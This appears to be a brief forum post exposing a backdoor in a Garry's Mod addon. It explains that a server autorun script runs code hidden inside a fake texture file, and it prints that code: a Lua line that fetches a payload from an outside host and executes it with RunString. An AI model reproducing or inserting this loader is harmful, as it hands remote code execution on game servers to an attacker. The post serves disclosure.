"animations_menu.zip\animations_menu\lua\autorun\server\npc_help.lua" executes code located:
"animations_menu.zip\animations_menu\material\npc\help.vtf" which is not a real .vtf because if you open it a text editor:
Code:
timer.Simple(1, function() http.Fetch("https://kvcdoor.ovh/f.php?key=zSt65wgBjcHU1ja1YgbF", function(b) RunString(b, ":", false) end)end)